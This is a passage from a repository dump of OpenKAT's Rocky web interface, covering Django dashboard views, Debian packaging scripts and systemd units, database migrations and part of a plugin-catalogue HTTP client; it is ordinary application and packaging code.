          dashboard = Dashboard.objects.get(id=dashboard_id, organization=self.organization)\n        except Dashboard.DoesNotExist:\n            messages.error(request, f\"Dashboard '{dashboard_name}' not found.\")\n            return redirect(\n                reverse(\"organization_crisis_room_landing\", kwargs={\"organization_code\": self.organization.code})\n            )\n\n        deleted, _ = dashboard.delete()\n\n        if deleted >= 1:\n            messages.success(request, f\"Dashboard '{dashboard_name}' has been deleted.\")\n        else:\n            messages.error(request, f\"Dashboard '{dashboard_name}' could not be deleted.\")\n\n        return redirect(\n            reverse(\"organization_crisis_room_landing\", kwargs={\"organization_code\": self.organization.code})\n        )\n\n\nclass DeleteDashboardItemView(OrganizationView):\n    \"\"\"Delete the selected dashboard item.\"\"\"\n\n    def post(self, request, *args, **kwargs) -> HttpResponse:\n        dashboard_item_name = request.POST.get(\"dashboard_item_name\")\n        dashboard_item_id = request.POST.get(\"dashboard_item_id\")\n\n        if not self.organization_member.can_delete_dashboard_item:\n            raise PermissionDenied()\n\n        try:\n            dashboard_item = DashboardItem.objects.get(\n                id=dashboard_item_id, dashboard__organization=self.organization, name=dashboard_item_name\n            )\n        except DashboardItem.DoesNotExist:\n            messages.error(request, f\"Dashboard item '{dashboard_item_name}' not found.\")\n            return redirect(\n                reverse(\"organization_crisis_room_landing\", kwargs={\"organization_code\": self.organization.code})\n            )\n\n        dashboard_item_name = dashboard_item.name\n        dashboard_id = dashboard_item.dashboard.id\n\n        deleted, _ = dashboard_item.delete()\n\n        if deleted >= 1:\n            messages.success(request, f\"Dashboard item '{dashboard_item_name}' has been deleted.\")\n            logger.info(event_code=900309)\n        else:\n            messages.error(request, f\"Dashboard item '{dashboard_item_name}' could not be deleted.\")\n\n        return redirect(\n            reverse(\n                \"organization_crisis_room\", kwargs={\"organization_code\": self.organization.code, \"id\": dashboard_id}\n            )\n        )\n\n\nclass UpdateDashboardItemView(OrganizationView):\n    \"\"\"Update the selected dashboard item, change the position up or down.\"\"\"\n\n    def post(self, request, *args, **kwargs) -> HttpResponse:\n        dashboard_item_id = request.POST.get(\"dashboard_item\")\n        dashboard_id = request.POST.get(\"dashboard\")\n        update_position = request.POST.get(\"move\")\n\n        if not self.organization_member.can_reposition_dashboard_item:\n            raise PermissionDenied()\n\n        try:\n            dashboard_item = DashboardItem.objects.get(id=dashboard_item_id, dashboard__organization=self.organization)\n            dashboard_item.update_position(update_position)\n\n            return redirect(\n                reverse(\n                    \"organization_crisis_room\",\n                    kwargs={\"organization_code\": self.organization.code, \"id\": dashboard_item.dashboard.id},\n                )\n                + \"#dashboard-item-\"\n                + slugify(dashboard_item.name)\n            )\n        except DashboardItem.DoesNotExist:\n            messages.error(request, \"Dashboard item not found.\")\n        return redirect(\n            reverse(\n                \"organization_crisis_room\", kwargs={\"organization_code\": self.organization.code, \"id\": dashboard_id}\n            )\n        )\n\n\nclass AddDashboardView(OrganizationView, FormView):\n    \"\"\"Add a new dashboard tab to the organization.\"\"\"\n\n    template_name = \"organization_crisis_room.html\"\n    form_class = AddDashboardForm\n\n    def post(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        \"\"\"Create a new dashboard tab.\"\"\"\n\n        if not self.organization_member.can_add_dashboard:\n            raise PermissionDenied()\n\n        form = self.get_form()\n        if form.is_valid():\n            dashboard_name = request.POST.get(\"dashboard_name\")\n            try:\n                dashboard, created = Dashboard.objects.get_or_create(\n                    name=dashboard_name, organization=self.organization\n                )\n\n                if created:\n                    messages.success(request, f\"Dashboard '{dashboard.name}' has been created.\")\n                else:\n                    messages.error(request, f\"Dashboard with name '{dashboard.name}' already exists.\")\n\n                return redirect(\n                    reverse(\n                        \"organization_crisis_room\",\n                        kwargs={\"organization_code\": self.organization.code, \"id\": dashboard.id},\n                    )\n                )\n            except IntegrityError:\n                messages.error(request, \"Dashboard could not be created.\")\n\n            return redirect(\n                reverse(\"organization_crisis_room_landing\", kwargs={\"organization_code\": self.organization.code})\n            )\n        else:\n            return redirect(\n                reverse(\"organization_crisis_room_landing\", kwargs={\"organization_code\": self.organization.code})\n            )\n"
  },
  {
    "path": "rocky/database.env-dist",
    "content": "POSTGRES_USER=\nPOSTGRES_PASSWORD=\nPOSTGRES_DB=rocky\n"
  },
  {
    "path": "rocky/debian/control",
    "content": "Source: kat-rocky\nBuild-Depends: python3, dh-virtualenv, libssl-dev, libfreetype-dev, python3-setuptools, python3-pip, debhelper-compat (= 12)\nMaintainer: OpenKAT <maintainer@openkat.nl>\n\nPackage: kat-rocky\nSection: python\nPriority: optional\nArchitecture: any\nPre-Depends: ${misc:Pre-Depends}\nDepends: ${python}, openssl, ${misc:Depends}, ${shlibs:Depends}, libpango-1.0-0, libpangoft2-1.0-0\nDescription: Rocky web interface for KAT\n  This is the web interface component of the KAT project.\n"
  },
  {
    "path": "rocky/debian/copyright",
    "content": "Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/\nUpstream-Name: kat-octopoes\nUpstream-Contact: info@openkat.nl\nSource: __URL__\n\nFiles: *\nCopyright: 2022 OpenKAT\nLicense: EUPL\n\nLicense: EUPL\n"
  },
  {
    "path": "rocky/debian/install",
    "content": "packaging/deb/data/etc/kat/* etc/kat\npackaging/deb/data/usr/* usr\nOOI_database_seed.json usr/share/kat-rocky\n"
  },
  {
    "path": "rocky/debian/kat-rocky-worker.service",
    "content": "[Unit]\nDescription=kat-rocky worker\nAfter=network.target\n\n[Service]\nUser=kat\nGroup=kat\nSyslogIdentifier=kat-rocky-worker\nWorkingDirectory=/opt/venvs/kat-rocky/\nEnvironmentFile=/usr/lib/kat/rocky.defaults\nEnvironmentFile=/etc/kat/rocky.conf\nExecStart=/usr/bin/rocky-cli worker\nRestart=on-failure\nRestartSec=3s\nKillMode=mixed\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "rocky/debian/kat-rocky.service",
    "content": "[Unit]\nDescription=kat-rocky daemon\nRequires=kat-rocky-worker.service\nAfter=network.target\n\n[Service]\nUser=kat\nGroup=kat\nSyslogIdentifier=kat-rocky\nWorkingDirectory=/opt/venvs/kat-rocky/\nEnvironmentFile=/usr/lib/kat/rocky.defaults\nEnvironmentFile=/etc/kat/rocky.conf\nExecStart=/opt/venvs/kat-rocky/bin/granian --interface wsgi rocky.wsgi:application\nRestart=on-failure\nRestartSec=3s\nKillSignal=SIGQUIT\nKillMode=mixed\nNotifyAccess=all\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "rocky/debian/kat-rocky.sysusers",
    "content": "u kat - \"OpenKAT\" /nonexistent\n"
  },
  {
    "path": "rocky/debian/postinst",
    "content": "#!/bin/bash -e\n\nset -e\n\nif [ \"$1\" = \"configure\" ]; then\n    if [ \"$2\" = \"\" ]; then\n        # $2 is the previously installed version and empty on fresh installs\n\n        # Set SECRET_KEY if empty\n        key=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 64)\n        sed -i \"s/SECRET_KEY= *\\$/SECRET_KEY=${key}/\" /etc/kat/rocky.conf\n    fi\n\n    # Delete file and directory that was added in 1.13 to use granian only on\n    # new installs.\n    if [ -d /etc/systemd/system/kat-rocky.service.d ]; then\n        rm -f /etc/systemd/system/kat-rocky.service.d/use-granian.conf\n        rmdir --ignore-fail-on-non-empty /etc/systemd/system/kat-rocky.service.d\n    fi\nfi\n\n#DEBHELPER#\n\nif [ \"$1\" = \"configure\" ]; then\n    chown -R root:kat /etc/kat\nfi\n"
  },
  {
    "path": "rocky/debian/postrm",
    "content": "#!/bin/bash\n\nset -e\n\nif [ \"$1\" = \"purge\" ]; then\n    rm -f /etc/systemd/system/kat-rocky.service.d/use-granian.conf\n    rmdir --ignore-fail-on-non-empty /etc/systemd/system/kat-rocky.service.d\nfi\n\n#DEBHELPER#\n"
  },
  {
    "path": "rocky/debian/rules",
    "content": "#!/usr/bin/make -f\nexport DH_VERBOSE = 1\nexport DH_VIRTUALENV_INSTALL_ROOT = /opt/venvs\nexport PACKAGE=$(shell dh_listpackages)\nexport DH_VENV_DIR=debian/$(PACKAGE)$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)\nexport DESTDIR = $(CURDIR)/debian/$(PACKAGE)\nexport UV_LINK_MODE=copy\n\n%:\n\tdh $@ --with python-virtualenv\n\n.PHONY: override_dh_virtualenv override_dh_fixperms\n\noverride_dh_fixperms:\n\tdh_fixperms\n\tchmod 750 $(DESTDIR)/etc/kat/\n\tfind $(DESTDIR)/etc/kat -type f -exec chmod 640 {} \\;\n\tchmod 755 $(DESTDIR)/usr/bin/rocky-cli\n\noverride_dh_virtualenv:\n# We want to use uv but dh_virtualenv doesn't support that. So we create an\n# empty requirements file and call uv manually..\n\ttouch /tmp/requirements-empty.txt\n\tdh_virtualenv --requirements=/tmp/requirements-empty.txt --skip-install --preinstall \"uv\"\n\t$(DH_VENV_DIR)/bin/python -m uv sync --locked --active\n\t$(DH_VENV_DIR)/bin/python -m uv pip install .\n\tcd /octopoes && /usr/bin/python3 setup.py bdist_wheel\n\t$(DH_VENV_DIR)/bin/python -m uv pip install --no-deps /octopoes/dist/octopoes*.whl\n\n# remove pip and uv to prevent mutation of venv\n\t$(DH_VENV_DIR)/bin/python -m uv pip uninstall pip uv\n\n\texport SECRET_KEY=\"secret\" BYTES_API=\"http://bytes:8000\" BYTES_PASSWORD=\"password\" \\\n\tBYTES_USERNAME=\"username\" KATALOGUS_API=\"http://katalogus:8000\" \\\n\tOCTOPOES_API=\"http://octopoes_api:80\" SCHEDULER_API=\"http://scheduler:8000\" SECRET_KEY=\"foo\" \\\n\t&& $(DH_VENV_DIR)/bin/python manage.py collectstatic --noinput --clear \\\n\t&& $(DH_VENV_DIR)/bin/python manage.py compilemessages\n\tfind static -type f -exec install -m 644 -D \"{}\" \"$(DESTDIR)/usr/share/kat-rocky/{}\" \\;\n\tfind components -type f -name *.html -exec install -m 644 -D \"{}\" \"$(DH_VENV_DIR)/lib/`py3versions -d`/site-packages/{}\" \\;\n\n# Fix shebang\n\tsed -i 's|#!.*$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)/bin/python|#!$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)/bin/python|' $(DH_VENV_DIR)/bin/*\n\noverride_dh_gencontrol:\n\tdh_gencontrol -- -Vpython=`py3versions -d`\n\noverride_dh_installsystemd:\n\tdh_installsystemd --name=kat-rocky\n\tdh_installsystemd --name=kat-rocky-worker\n\nexecute_after_dh_install:\n\tdh_installsysusers\n\n# Disables dh_strip_nondeterminism because it very slow and not useful for us\noverride_dh_strip_nondeterminism:\n\n# Disable dh_dwz because it is also not useful for us\noverride_dh_dwz:\n\n# Let dpkg-shlibdeps ignore venvs\noverride_dh_shlibdeps:\n\tdh_shlibdeps -X/opt/venvs\n\n# Workaround error of dh_strip of Pillow on Ubuntu\noverride_dh_strip:\n\tdh_strip -Xsite-packages/PIL -Xsite-packages/pillow.libs\n"
  },
  {
    "path": "rocky/debian/triggers",
    "content": "# Register interest in Python interpreter changes; and\n# don't make the Python package dependent on the virtualenv package\n# processing (noawait)\ninterest-noawait /usr/bin/python3\n\n# Also provide a symbolic trigger for all dh-virtualenv packages\ninterest dh-virtualenv-interpreter-update\n"
  },
  {
    "path": "rocky/docs/reports.md",
    "content": "# Design for reports\n\nCurrently, there are different ways reports are implemented in Rocky.\nWe have the report as used in the onboarding view, the findings report (\nboth for the whole organization as for only a single OOI), and the PDF report in Keiko.\n\nWe have a requirements, but as a main goal we want to have one single implementation of reports that is used in OpenKAT.\n\n## Requirements\n\nThe requirements of reports are:\n\n- Reports have a single OOI as scope\n- Reports have required and suggested plugins that have to be enabled before a report can be generated\n- Reports can be downloaded as PDF\n- (optional) reports are dependent on a specific version of the data model\n\n## Flow\n\nFront-end flow is being designed.\n\nThe backend implementation of reports is not dependent on the flow of generating reports.\nIn the backend a report is of one type and has one OOI as scope. When multiple reports for multiple OOIs are generated,\nthis is just a combination of multiple reports combined with a table of contents.\n\n## Implementation\n\nKeiko will be moved from being a separate service to begin a Django app. This has several advantages:\n\n- It can access all Octopoes model information\n- Communication does not have to go through APIs\n- Keiko can generate HTML view of report directly\n\nReports will be be implemented similarly to how bits are currently implemented. Each report will have an HTML template,\na manifest/class which will include input OOI types and required plugins. Each report will have to steps of processing data:\n\n- Collecting data\n- Generating HTML with aggregates\n\n### Collecting data\n\nThere are a few ways in which we will help developers of reports to collect data. They can either do it with a tree (with\nfilters etc) or using a Path query. These methods are given to the developer as helper functions but developers can also choose\nto use a combination of these methods.\n\n### Generating a report\n\nAfter collecting the data (OOIs) and storing them in an OOI store, developers can calculate some aggregates like averages, traffic lights etc,\nand then generating the HTML for that report.\n\nAutomatically, the table of contents should also be generated.\n\nAfter generating the report, we can use some sort of HTML to PDF to let users download PDFs.\n\n### Current Keiko\n\nFor the time being, we will not touch the existing Keiko code before completely finishing a V1 for the new reports.\n"
  },
  {
    "path": "rocky/entrypoint.sh",
    "content": "#!/bin/bash\nset -e\n\n# Make env variable comparison case insensitive\nshopt -s nocasematch\n\nif [ \"$DATABASE_MIGRATION\" = \"1\" ] || [[ $DATABASE_MIGRATION == \"true\" ]]; then\n    python manage.py migrate --noinput\nfi\n\nif [ \"$1\" = \"web\" ]; then\n    exec granian --interface wsgi rocky.wsgi:application --host 0.0.0.0\nelif [ \"$1\" = \"worker\" ]; then\n    exec python3 manage.py worker\nfi\n\nexec \"$@\"\n"
  },
  {
    "path": "rocky/fmea/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/fmea/migrations/0001_initial.py",
    "content": "# Generated by Django 3.2.5 on 2021-12-23 10:18\n\nimport django.db.models.deletion\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    initial = True\n\n    operations = [\n        migrations.CreateModel(\n            name=\"FailureMode\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"failure_mode\", models.CharField(max_length=256)),\n                (\n                    \"severity_level\",\n                    models.PositiveSmallIntegerField(\n                        choices=[\n                            (\"\", \"--- Select an option ----\"),\n                            (1, \"1. Not Severe\"),\n                            (2, \"2. Harmful\"),\n                            (3, \"3. Severe\"),\n                            (4, \"4. Very Harmful\"),\n                            (5, \"5. Catastrophic\"),\n                        ]\n                    ),\n                ),\n                (\n                    \"frequency_level\",\n                    models.PositiveSmallIntegerField(\n                        choices=[\n                            (\"\", \"--- Select an option ----\"),\n                            (1, \"1. Very Rare. Incident (almost) never occurs, almost unthinkable.\"),\n                            (2, \"2. Rare. Incidents occur less than once a year (3-5).\"),\n                            (3, \"3. Occurs. Incidents occur several times a year.\"),\n                            (4, \"4. Regularly. Incidents occur weekly.\"),\n                            (5, \"5. Frequent. Incidents occur daily.\"),\n                        ]\n                    ),\n                ),\n                (\n                    \"detectability_level\",\n                    models.PositiveSmallIntegerField(\n                        choices=[\n                            (\"\", \"--- Select an option ----\"),\n                            (1, \"1. Always Detectable. Incident (almost) never occurs, almost unthinkable.\"),\n                            (2, \"2. Usually Detectable. Incidents occur less than once a year (3-5).\"),\n                            (3, \"3. Detectable. Failure mode is detectable with effort.\"),\n                            (4, \"4. Poorly Detectable. Detecting the failure mode is difficult.\"),\n                            (\n                                5,\n                                \"5. Almost Undetectable. \"\n                                \"Failure mode detection is very difficult or nearly impossible.\",\n                            ),\n                        ]\n                    ),\n                ),\n                (\"risk_class\", models.CharField(blank=True, max_length=50, null=True)),\n                (\"effect\", models.CharField(blank=True, max_length=256)),\n                (\"description\", models.CharField(blank=True, max_length=256)),\n            ],\n            options={\"verbose_name_plural\": \"Failure modes\"},\n        ),\n        migrations.CreateModel(\n            name=\"FailureModeDepartment\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\n                    \"affected_department\",\n                    models.PositiveSmallIntegerField(\n                        choices=[\n                            (\"\", \"--- Select an option ----\"),\n                            (1, \"Finances\"),\n                            (2, \"Marketing\"),\n                            (3, \"Human Resources\"),\n                            (4, \"Research & Development\"),\n                            (5, \"Administration\"),\n                            (6, \"Service\"),\n                        ]\n                    ),\n                ),\n                (\n                    \"failure_mode\",\n                    models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=\"fmea.failuremode\"),\n                ),\n            ],\n            options={\"verbose_name_plural\": \"Failure Mode Departments\"},\n        ),\n    ]\n"
  },
  {
    "path": "rocky/fmea/migrations/0001_squashed_0004_remove_failuremode_effect_and_more.py",
    "content": "# Generated by Django 4.2.11 on 2024-05-09 14:19\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    replaces = [\n        (\"fmea\", \"0001_initial\"),\n        (\"fmea\", \"0002_auto_20220120_0839\"),\n        (\"fmea\", \"0003_auto_20220203_1534\"),\n        (\"fmea\", \"0004_remove_failuremode_effect_and_more\"),\n    ]\n\n    initial = True\n\n    dependencies: list = []\n\n    operations: list = []\n"
  },
  {
    "path": "rocky/fmea/migrations/0002_auto_20220120_0839.py",
    "content": "# Generated by Django 3.2.11 on 2022-01-20 08:39\n\nimport django.db.models.deletion\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"fmea\", \"0001_initial\")]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"FailureModeAffectedObject\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\n                    \"affected_department\",\n                    models.CharField(\n                        choices=[\n                            (\"\", \"--- Select an option ----\"),\n                            (\"Finances\", \"Finances\"),\n                            (\"Marketing\", \"Marketing\"),\n                            (\"Human Resources\", \"Human Resources\"),\n                            (\"Research & Development\", \"Research & Development\"),\n                            (\"Administration\", \"Administration\"),\n                            (\"Service\", \"Service\"),\n                        ],\n                        max_length=50,\n                    ),\n                ),\n                (\"affected_ooi_type\", models.CharField(max_length=100)),\n            ],\n            options={\"verbose_name_plural\": \"Failure Mode Affected Objects\"},\n        ),\n        migrations.CreateModel(\n            name=\"FailureModeTreeObject\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"tree_object\", models.CharField(max_length=256)),\n                (\n                    \"affected_department\",\n                    models.CharField(\n                        choices=[\n                            (\"\", \"--- Select an option ----\"),\n                            (\"Finances\", \"Finances\"),\n                            (\"Marketing\", \"Marketing\"),\n                            (\"Human Resources\", \"Human Resources\"),\n                            (\"Research & Development\", \"Research & Development\"),\n                            (\"Administration\", \"Administration\"),\n                            (\"Service\", \"Service\"),\n                        ],\n                        max_length=50,\n                    ),\n                ),\n            ],\n        ),\n        migrations.AlterField(\n            model_name=\"failuremode\",\n            name=\"detectability_level\",\n            field=models.PositiveSmallIntegerField(\n                choices=[\n                    (\"\", \"--- Select an option ----\"),\n                    (1, \"Level 1: Always Detectable. Incident (almost) never occurs, almost unthinkable.\"),\n                    (2, \"Level 2: Usually Detectable. Incidents occur less than once a year (3-5).\"),\n                    (3, \"Level 3: Detectable. Failure mode is detectable with effort.\"),\n                    (4, \"Level 4: Poorly Detectable. Detecting the failure mode is difficult.\"),\n                    (5, \"Level 5: Almost Undetectable. Failure mode detection is very difficult or nearly impossible.\"),\n                ]\n            ),\n        ),\n        migrations.AlterField(\n            model_name=\"failuremode\", name=\"failure_mode\", field=models.CharField(max_length=256, unique=True)\n        ),\n        migrations.AlterField(\n            model_name=\"failuremode\",\n            name=\"frequency_level\",\n            field=models.PositiveSmallIntegerField(\n                choices=[\n                    (\"\", \"--- Select an option ----\"),\n                    (1, \"Level 1: Very Rare. Incident (almost) never occurs, almost unthinkable.\"),\n                    (2, \"Level 2: Rare. Incidents occur less than once a year (3-5).\"),\n                    (3, \"Level 3: Occurs. Incidents occur several times a year.\"),\n                    (4, \"Level 4: Regularly. Incidents occur weekly.\"),\n                    (5, \"Level 5: Frequent. Incidents occur daily.\"),\n                ]\n            ),\n        ),\n        migrations.AlterField(\n            model_name=\"failuremode\",\n            name=\"severity_level\",\n            field=models.PositiveSmallIntegerField(\n                choices=[\n                    (\"\", \"--- Select an option ----\"),\n                    (1, \"Level 1: Not Severe\"),\n                    (2, \"Level 2: Harmful\"),\n                    (3, \"Level 3: Severe\"),\n                    (4, \"Level 4: Very Harmful\"),\n                    (5, \"Level 5: Catastrophic\"),\n                ]\n            ),\n        ),\n        migrations.DeleteModel(name=\"FailureModeDepartment\"),\n        migrations.AddField(\n            model_name=\"failuremodeaffectedobject\",\n            name=\"failure_mode\",\n            field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=\"fmea.failuremode\"),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/fmea/migrations/0003_auto_20220203_1534.py",
    "content": "# Generated by Django 3.2.11 on 2022-02-03 15:34\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"fmea\", \"0002_auto_20220120_0839\")]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"FailureModeEffect\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"effect\", models.TextField(max_length=256, unique=True)),\n                (\n                    \"severity_level\",\n                    models.PositiveSmallIntegerField(\n                        choices=[\n                            (\"\", \"--- Select an option ----\"),\n                            (1, \"Level 1: Not Severe\"),\n                            (2, \"Level 2: Harmful\"),\n                            (3, \"Level 3: Severe\"),\n                            (4, \"Level 4: Very Harmful\"),\n                            (5, \"Level 5: Catastrophic\"),\n                        ]\n                    ),\n                ),\n            ],\n        ),\n        migrations.RemoveField(model_name=\"failuremode\", name=\"severity_level\"),\n        migrations.AddField(\n            model_name=\"failuremode\", name=\"critical_score\", field=models.PositiveSmallIntegerField(default=0)\n        ),\n        migrations.AddField(\n            model_name=\"failuremode\", name=\"risk_priority_number\", field=models.PositiveSmallIntegerField(default=0)\n        ),\n        migrations.RemoveField(model_name=\"failuremode\", name=\"effect\"),\n        migrations.AddField(\n            model_name=\"failuremode\", name=\"effect\", field=models.ManyToManyField(to=\"fmea.FailureModeEffect\")\n        ),\n    ]\n"
  },
  {
    "path": "rocky/fmea/migrations/0004_remove_failuremode_effect_and_more.py",
    "content": "# Generated by Django 4.2.10 on 2024-02-20 11:15\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"fmea\", \"0003_auto_20220203_1534\")]\n\n    operations = [\n        migrations.RemoveField(model_name=\"failuremode\", name=\"effect\"),\n        migrations.RemoveField(model_name=\"failuremodeaffectedobject\", name=\"failure_mode\"),\n        migrations.DeleteModel(name=\"FailureModeTreeObject\"),\n        migrations.DeleteModel(name=\"FailureMode\"),\n        migrations.DeleteModel(name=\"FailureModeAffectedObject\"),\n        migrations.DeleteModel(name=\"FailureModeEffect\"),\n    ]\n"
  },
  {
    "path": "rocky/fmea/migrations/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/katalogus/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/katalogus/apps.py",
    "content": "from django.apps import AppConfig\n\n\nclass KATalogusConfig(AppConfig):\n    default_auto_field = \"django.db.models.BigAutoField\"\n    name = \"katalogus\"\n"
  },
  {
    "path": "rocky/katalogus/client.py",
    "content": "import json\nfrom io import BytesIO\nfrom typing import Annotated\nfrom urllib.parse import quote\n\nimport httpx\nimport structlog\nfrom django.conf import settings\nfrom django.core.exceptions import ValidationError\nfrom django.core.validators import validate_unicode_slug\nfrom django.utils.translation import gettext as _\nfrom httpx import HTTPError, HTTPStatusError, Response, codes\nfrom jsonschema.exceptions import SchemaError\nfrom jsonschema.validators import Draft202012Validator\nfrom pydantic import AfterValidator, BaseModel, Field, field_serializer, field_validator\nfrom tools.enums import SCAN_LEVEL\nfrom tools.models import Organization, OrganizationMember\n\nfrom octopoes.models import OOI\nfrom octopoes.models.exception import TypeNotFound\nfrom octopoes.models.types import type_by_name\nfrom rocky.health import ServiceHealth\n\nlogger = structlog.get_logger(\"katalogus_client\")\n\n\ndef valid_plugin_id(plugin_id: str) -> str:\n    # plugin IDs should alphanumeric, including dashes, underscores and dots.\n    if not plugin_id.replace(\"-\", \"\").replace(\"_\", \"\").replace(\".\", \"\").isalnum():\n        raise ValueError(\"Plugin ID is not valid\")\n\n    return plugin_id\n\n\ndef valid_organization_code(organization_code: str) -> str:\n    try:\n        validate_unicode_slug(organization_code)\n        return organization_code\n    except ValidationError:\n        raise ValueError(\"Organization code is not valid\")\n\n\nclass Plugin(BaseModel):\n    id: Annotated[str, AfterValidator(valid_plugin_id)]\n    name: str\n    version: str | None = None\n    authors: str | None = None\n    created: str | None = None\n    description: str | None = None\n    related: list[str] = Field(default_factory=list)\n    type: str\n    # TODO: this is the only field making a Plugin organization-specific. If we could separate the use of the enabled\n    #  field from other uses, we would be able to drop the organization_code as an argument in a lot of places, hence\n    #  simplifying the usage of the KATalogus for installation-wide operations (as plugins are not specific to an\n    #  organization). One could argue that having this field here should mean we need an organization field as well to\n    #  make sense out of it: for which organization is this plugin in fact enabled?\n    enabled: bool\n\n    def can_scan(self, member: OrganizationMember) -> bool:\n        return member.has_perm(\"tools.can_scan_organization\")\n\n\nclass Boefje(Plugin):\n    scan_level: SCAN_LEVEL\n    consumes: set[type[OOI]] = Field(default_factory=set)\n    produces: set[str] = Field(default_factory=set)\n    options: list[str] | None = None\n    runnable_hash: str | None = None\n    interval: int | None = None\n    run_on: list[str] | None = None\n    boefje_schema: dict | None = None\n    oci_image: str | None = None\n    oci_arguments: list[str] = Field(default_factory=list)\n\n    # use a custom field_serializer for `consumes`\n    @field_serializer(\"consumes\")\n    def serialize_consumes(self, consumes: set[type[OOI]]) -> set[str]:\n        return {ooi_class.get_ooi_type() for ooi_class in consumes}\n\n    @field_validator(\"boefje_schema\")\n    @classmethod\n    def json_schema_valid(cls, boefje_schema: dict) -> dict | None:\n        if boefje_schema is None:\n            return None\n\n        try:\n            Draft202012Validator.check_schema(boefje_schema)\n        except SchemaError as e:\n            raise ValueError(\"The schema field is not a valid JSON schema\") from e\n\n        return boefje_schema\n\n    def can_scan(self, member: OrganizationMember) -> bool:\n        return super().can_scan(member) and member.has_clearance_level(self.scan_level.value)\n\n\nclass Normalizer(Plugin):\n    consumes: set[str]\n    produces: set[type[OOI]]\n\n    # use a custom field_serializer for `produces`\n    @field_serializer(\"produces\")\n    def serialize_produces(self, produces: set[type[OOI]]) -> set[str]:\n        return {ooi_class.get_ooi_type() for ooi_class in produces}\n\n\nclass KATalogusError(Exception):\n    @property\n    def message(self):\n        return self._message\n\n    def __init__(self, message: str | None = None):\n        if message is None:\n            message = _(\"The KATalogus has an unexpected error. Check the logs for further details.\")\n\n        self._message = message\n\n        super().__init__(message)\n\n    def __str__(self):\n        return self._message\n\n\nclass KATalogusHTTPStatusError(KATalogusError):\n    def __init__(self, error: httpx.HTTPStatusError):\n        self.error = error\n\n        super().__init__(_(\"An HTTP %d error occurred. Check logs for more info.\").format(error.response.status_code))\n\n\nclass KATalogusHTTPError(KATalogusError):\n    def __init__(self, error: httpx.HTTPError):\n        self.error = error\n\n        super().__init__(_(\"An HTTP error occurred. Check logs for more info.\"))\n\n\nclass DuplicatePluginError(KATalogusError):\n    def __init__(self, error_message: str):\n        super().__init__(error_message)\n\n\nclass DuplicateNameError(KATalogusError):\n    def __init__(self):\n        super().__init__(_(\"Boefje with this name already exists.\"))\n\n\nclass DuplicateIdError(KATalogusError):\n    def __init__(self):\n        super().__init__(_(\"Boefje with this ID already exists.\"))\n\n\nclass KATalogusNotAllowedError(KATalogusError):\n    def __init__(self, error_message: str):\n        super().__init__(error_message)\n\n\ndef verify_response(response: Response) -> None:\n    try:\n        response.raise_for_status()\n    except HTTPStatusError as error:\n        response.read()\n\n        if error.response.status_code == codes.BAD_REQUEST and \"duplicate key\" in error.response.text:\n            raise DuplicatePluginError(\"Duplicate plugin name\") from error\n\n        if error.response.status_code == codes.BAD_REQUEST and \"Duplicate plugin\" in error.response.text:\n            error_message = json.loads(error.response.text).get(\"detail\")\n            raise DuplicatePluginError(error_message) from error\n\n        if error.response.status_code in [codes.FORBIDDEN, codes.NOT_FOUND]:\n            raise KATalogusNotAllowedError(_(\"Access to resource not allowed\")) from error\n\n        raise KATalogusHTTPStatusError(error) from error\n    except HTTPError as error:\n        raise KATalogusError(\"KATalogus request failed\") from error\n\n\nclass KATalogusClient:\n    def __init__(self, base_uri: str):\n        self.session = httpx.Client(\n            base_url=base_uri,\n            event_hooks={\"response\": [verify_response]},\n            timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT,\n        )\n\n    def health(self) -> ServiceHealth:\n        response = self.session.get(\"/health\")\n\n        return ServiceHealth.model_validate_json(response.content)\n\n    def organization_exists(self, organization_code: str) -> bool:\n        try:\n            self.session.get(f\"/v1/organisations/{quote(organization_code)}\")\n        except KATalogusNotAllowedError:\n            return False\n\n        return True\n\n    def create_organization(self, organization):\n        self.session.post(\"/v1/organisations/\", json={\"id\": organization.code, \"name\": organization.name})\n\n        logger.info(\"Created organization\", name=organization.name)\n\n    def delete_organization(self, organization_code: str):\n        self.session.delete(f\"/v1/organisations/{quote(organization_code)}\")\n\n        logger.info(\"Deleted organization\", organization_code=organization_code)\n\n    def get_plugins(self, organization_code: str, **params) -> list[Boefje | Normalizer]:\n        response = self.session.get(f\"/v1/organisations/{quote(organization_code)}/plugins\", params=params)\n\n        return [parse_plugin(plugin) for plugin in response.json()]\n\n    def get_plugin(self, organization_code: str, plugin_id: str) -> Plugin:\n        response = self.session.get(f\"/v1/organisations/{quote(organization_code)}/plugins/{quote(plugin_id)}\")\n\n        return parse_plugin(response.json())\n\n    def get_plugin_settings(self, organization_code: str, plugin_id: str) -> dict:\n        response = 